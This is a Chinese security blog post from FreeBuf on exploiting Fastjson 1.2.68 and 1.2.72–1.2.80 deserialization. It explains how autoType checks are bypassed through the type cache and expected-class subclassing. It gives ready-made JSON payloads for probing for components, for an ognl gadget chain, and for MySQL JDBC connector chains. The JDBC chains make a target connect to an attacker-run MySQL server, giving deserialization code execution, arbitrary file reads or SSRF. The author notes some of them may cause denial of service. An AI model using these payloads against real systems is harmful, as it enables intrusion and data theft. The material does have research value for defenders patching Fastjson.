freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

FastJson1.68&1.80版本反序列化利用
yitaiqi2 2023-09-28 17:27:32 127674

前言

FastJson在1.2.25版本以后默认关闭了autoTypeSupport。所有反序列化的类以下任意条件可以成功反序列化:

  • 在白名单中。关键字为:internalWhite,白名单参考0x05其他内容。

  • 该类在Fastjson缓存当中,当其他类被反序列化过后这个类会加入Fastjson缓存当中。关键字为:TypeUtils.mappings

  • 在Deserializers中(这个类似缓存列表,也是预先加进去的一些反序列化器)详见com/alibaba/fastjson/parser/ParserConfig.java#initDeserializers

  • 在checkAutoType时存在expectClass并且待反序列化的类是其子类,详见0x05其他内容8。

  • 开启autoTypeSupport。

0x01 判断组件是否存在

{"@type":"java.lang.Character"{"@type":"java.lang.Class","val":"com.mysql.jdbc.Driver"}}

java.lang.Character和java.lang.Class都在白名单当中,其中class会去加载val中的类,而java.lang.Character的反序列化器CharacterCodec会试图将内容转换为Char导致报错。

image-20230921154457143

java.lang.Character一般情况下默认就会在fastjson的缓存当中,java.lang.Class也存在于Deserializers中。

1.2.72<版本<=1.2.80已知存在利用链,值得判断的组件有:

  • org.postgresql.jdbc.PgConnection#postgresql组件

  • com.mysql.jdbc.Driver#mysql connector/java组件

  • org.codehaus.groovy.control.CompilationFailedException#groovy组件

  • org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException#aspectjtools

  • ognl.OgnlException 和 org.apache.commons.io.input.BOMInputStream #ognl(Struts、MyBatis中都有使用)和commons-io组件

0x02 1.2.72<版本<=1.2.80基础利用链

  • JSONObject加载类的属性到fastjson缓存中,其中属性名要有对应setter方法,setter设置的属性名就会被加入到fastjson的ParserConfig.deserializers缓存当中。这里用ognl利用链来说明。
    image-20230927110719416

  • 这里利用Exception期望类将ognl.OgnlException加入缓存。

{\"@type\":\"java.lang.Exception\",\"@type\":\"ognl.OgnlException\"}

再通过JavaBeanDeserializer将该类其中一个public属性实例化,实例化的同时会被加入到ParserConfig.deserializers缓存当中。

{"@type":"java.util.Locale","val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.lang.String""@type":"ognl.OgnlException","_evaluation":{}}}

image-20230927102156500

  • ognl.Evaluation在之后的反序列化过程中会使用javaBeanDeserializer。

  • 在之后的利用过程中,实例化的类只需要满足”是预期类的子类“,这里的"预期类"一般为构造函数或setter方法的参数类型,所以序列化的类只要是预期类的子类即可通过checkAutoType检查,还会被加入缓存当中。

image-20230927152038003

0x03加载子类进fastjson缓存

{\"@type\":\"类\",\"@type\":\"子类\"}

经过测试在javaBeanDeserializer和ThrowableDeserializer反序列化流程中会将后面跟着的子类加到fastjson缓存当中,其他反序列化器加不加没看。通过0x02方式加入fastjson缓存的类都会使用javaBeanDeserializer反序列化器。

0x04 Fastjson1.2.68 X JDBC

在mysql-connector-java的不同版本中存在着一些类,这些类继承了java.lang.AutoCloseable,导致可以通过0x03的方式加载进fastjson缓存当中。其中不同版本存在的利用链如下。(关于jdbc反序列化漏洞可以通过查看我公众号其他文章来了解)在反序列化、任意文件读取的同时也可以ssrf。

• Mysql connector 5.x(成功利用后会报错结束)

{"@type":"java.lang.AutoCloseable","@type":"com.mysql.jdbc.JDBC4Connection","hostToConnectTo":"mysql.host","portToConnectTo":3306,"info":{"user":"user","password":"pass","statementInterceptors":"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true","NUM_HOSTS": "1"},"databaseToConnectTo":"dbname" , "url":""}

• Mysql connector 6.0.2 or 6.0.3 (在测试过程中,服务器会一直重复给恶意mysql服务器发送文件信息,不会自己停下来,所以可能存在DOS攻击的风险)

{"@type": "java.lang.AutoCloseable" ,"@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection" ,"proxy":{"connectionString":{"url": "jdbc:mysql://localhost:3306/foo?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"}}}

• Mysql connector 8.0.19(反序列化) 以及以上版本(ssrf) (在测试过程中,服务器会一直重复给恶意mysql服务器发送文件信息,不会自己停下来,所以可能存在DOS攻击的风险)

{"@type":"java.lang.AutoCloseable","@type":"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection","proxy":{"@type":"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy","connectionUrl":{ "@type":"com.mysql.cj.conf.url.ReplicationConnectionUrl" , "masters": [{"host":"mysql.host"}], "slaves":[], "properties":{"host":"mysql.host","port":"mysql.port","user":"user","dbname":"dbname","password":"pass","queryInterceptors":"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true"}}}}

同时,不只是反序列化,也可以用作任意文件读取。(关于jdbc任意文件读取可以通过查看我公众号其他文章来了解)

• Mysql connector 6.0.2 or 6.0.3 (在测试过程中,服务器会一直重复给恶意mysql服务器发送文件信息,不会自己停下来,所以可能存在DOS攻击的风险)

{"@type": "java.lang.AutoCloseable" ,"@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection" ,"proxy":{"connectionString":{"url": "jdbc:mysql://localhost:3306/foo?allowLoadLocalInfile=true"}}}

• Mysql connector 8.0.19(反序列化) 以及以上版本(ssrf) (在测试过程中,服务器会一直重复给恶意mysql服务器发送文件信息,不会自己停下来,所以可能存在DOS攻击的风险)

{"@type":"java.lang.AutoCloseable","@type":"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection","proxy":{"@type":"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy","connectionUrl":{ "@type":"com.mysql.cj.conf.url.ReplicationConnectionUrl" , "masters": [{"host":"mysql.host"}], "slaves":[], "properties":{"host":"mysql.host","user":"user","dbname":"dbname","password":"pass","allowLoadLocalInfile":"true"}}}}

在1.2.69的更新当中将java.lang.Runnable,java.lang.Readable和java.lang.AutoCloseable加入了黑名单,至此无法利用。

0x05其他

  1. exectClass期望的类型:

  • java.io.Serializable

  • java.lang.Cloneable

  • java.io.Closeable

  • java.lang.AutoCloseable

  • java.lang.Readable

  • java.lang.Runnable

  • java.util.EventListener

  • java.lang.Iterable

  • java.util.Collection

  • java.lang.Object

  1. 白名单中的类:

  1. 判断safeMode是否开启。

  • 如果返回autoType is not support. com.sun.rowset.JdbcRowSetImpl则表示没开启safemode,返回safeMode not support autoType表示开启

  1. 通过报错判断是否存在组件。

  • {"@type":"java.lang.Character"{"@type":"java.lang.Class","val":"com.mysql.jdbc.Driver"}}

  1. 在1.47之前可以通过java.lang.Class将其他类加入缓存当中,之后序列化该类就不会受到白名单限制。该漏洞的修复方式是java.lang.Class类对val类无法再将其加入缓存中。详情见com/alibaba/fastjson/serializer/MiscCodec.java#359

  2. 不同的类会使用不同的反序列化器如java.lang.Class使用MiscCodec,java.lang.Character使用CharacterCodec。详见com/alibaba/fastjson/parser/DefaultJSONParser.java#396同时可以参考com/alibaba/fastjson/parser/ParserConfig.java#initDeserializers查看具体的反序列化器配置结果。

  3. 如果是MiscCodec反序列化器的,其参数都需要用"val"指名,而其他反序列化器的参数则各有各的判断方式,StringCodec可以直接跟"@type"。

  4. 在checkAutoType时存在预期类(expectClass),并且待反序列化的类是其子类即可加入到fastjson缓存当中。

image-20230922102343835

  1. 之所以1.2.72<版本<=1.2.80的版本要大于1.2.72原因是因为在1.2.73版本修复了类属性即使不需要Annotation只要期待类和实际类不相同也可以进入fieldDeser.parseField流程。

image-20230927165017290

10.在构造反序列化利用链时需要注意只有public级别的构造函数可以在fastjson反序列化字符串中构造。否则回出现default constructor not found. 的问题。

11.在javaBeanDeserializer反序列化过程中,在JavaBeanInfo的build函数中决定反序列化对象使用的构造函数。

12.$ref可以用来获取对象属性,同事也可以用来触发getter。

13.Fastjson在反序列化的过程中会优先使用无参数构造函数,如果没有就会选择使用参数最多的构造函数。据说是为了兼容bean和java原生类的写法。

14.关于0x04互联网上传播的第三部分的poc大部分都说是6.0.3-8.x版本可利用,但在8.0.18以下版本LoadBalancedConnectionProxy、ReplicationConnectionProxy的构造函数都不支持ConnectionUrl类型而是ReplicationConnectionUrl和LoadbalanceConnectionUrl。

  • 其中LoadbalanceConnectionUrl的两个构造函数参数数量相同会默认选第一个构造函数,而第一个构造函数的第一个参数的构造函数是私有的,所以无法利用(自测结果,可能有些地方有疏忽)。

  • 而ReplicationConnectionProxy的构造函数变为私有的,所以也无法利用。

15.关于fastjson1.2.68的几个jdbc利用链,6.0.2和8.0.19的payload都存在无法停止的情况。很明显的是6.0.2和8.0.19的payload都通过pickNewConnection进行连接的, 这里留着以后看如何解决下吧。有大佬知道方法的欢迎公众号私信我。感谢!

# java反序列化 # Fastjson反序列化漏洞 # JDBC
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 yitaiqi2 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
yitaiqi2 LV.3
  • 6 文章数
  • 0 关注者
FoxyProxy历史版本回退
2023-12-11
为什么你的jwt密钥爆破不出来?
2023-11-30
JDBC任意文件读取漏洞详解
2023-09-13
文章目录